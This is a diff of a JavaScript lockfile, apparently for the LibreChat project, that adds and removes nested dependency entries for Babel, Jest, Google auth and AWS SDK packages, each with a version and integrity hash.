+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+ "@google/genai/google-auth-library/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="],
+
+ "@google/genai/google-auth-library/gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="],
+
+ "@google/genai/google-auth-library/gtoken": ["gtoken@8.0.0", "", { "dependencies": { "gaxios": "^7.0.0", "jws": "^4.0.0" } }, "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw=="],
"@headlessui/react/@tanstack/react-virtual/@tanstack/virtual-core": ["@tanstack/virtual-core@3.13.12", "", {}, "sha512-1YBOJfRHV4sXUmWsFSf5rQor4Ss82G8dQWLRbnk3GA4jeP8hQt1hxXh0tmflpC0dz3VgEv/1+qwPyLeWkQuPFA=="],
@@ -6711,34 +6871,16 @@
"@istanbuljs/load-nyc-config/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
- "@istanbuljs/load-nyc-config/js-yaml/argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
-
"@jest/core/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "@jest/environment-jsdom-abstract/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
- "@jest/environment/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
- "@jest/environment/@jest/fake-timers/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
- "@jest/environment/jest-mock/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/expect/expect/@jest/expect-utils": ["@jest/expect-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0" } }, "sha512-1JnRfhqpD8HGpOmQp180Fo9Zt69zNtC+9lR+kT7NVL05tNXIi+QC8Csz7lfidMoVLPD3FnOtcmp0CEFnxExGEA=="],
"@jest/expect/expect/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
- "@jest/expect/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "@jest/expect/expect/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
- "@jest/fake-timers/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
- "@jest/fake-timers/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
-
- "@jest/globals/jest-mock/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/reporters/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+ "@jest/reporters/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
"@jest/reporters/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.927.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@aws-sdk/xml-builder": "3.921.0", "@smithy/core": "^3.17.2", "@smithy/node-config-provider": "^4.3.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/signature-v4": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag=="],
@@ -6773,6 +6915,12 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="],
@@ -6793,8 +6941,12 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -6809,12 +6961,16 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -6835,275 +6991,21 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-y5ozxeQ9omVjbnJo9dtTsdXj9BEvGx2X8xvRgKnV+/7wLBuYJQL6dOa/qMY6omyHi7yjt1OA97jZLoVRYi8lxA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@langchain/google-gauth/google-auth-library/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="],
"@langchain/google-gauth/google-auth-library/gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="],
"@langchain/google-gauth/google-auth-library/gtoken": ["gtoken@8.0.0", "", { "dependencies": { "gaxios": "^7.0.0", "jws": "^4.0.0" } }, "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-P7JD4J+wxHMpGxqIg6SHno2tPkZbBUBLbPpR5/T1DEUvw/mEaINBMaPFZNM7lA+ToSCZ36j6nMHa+5kej+fhGg=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-MeM9fTAiD3HvoInK/aA8mgJaKQDvm8N0dKy6EiFaCfgpovQr4CaOkJC28XqlSRABM+sHdSQXbC8NZ0DShBMHqg=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
-
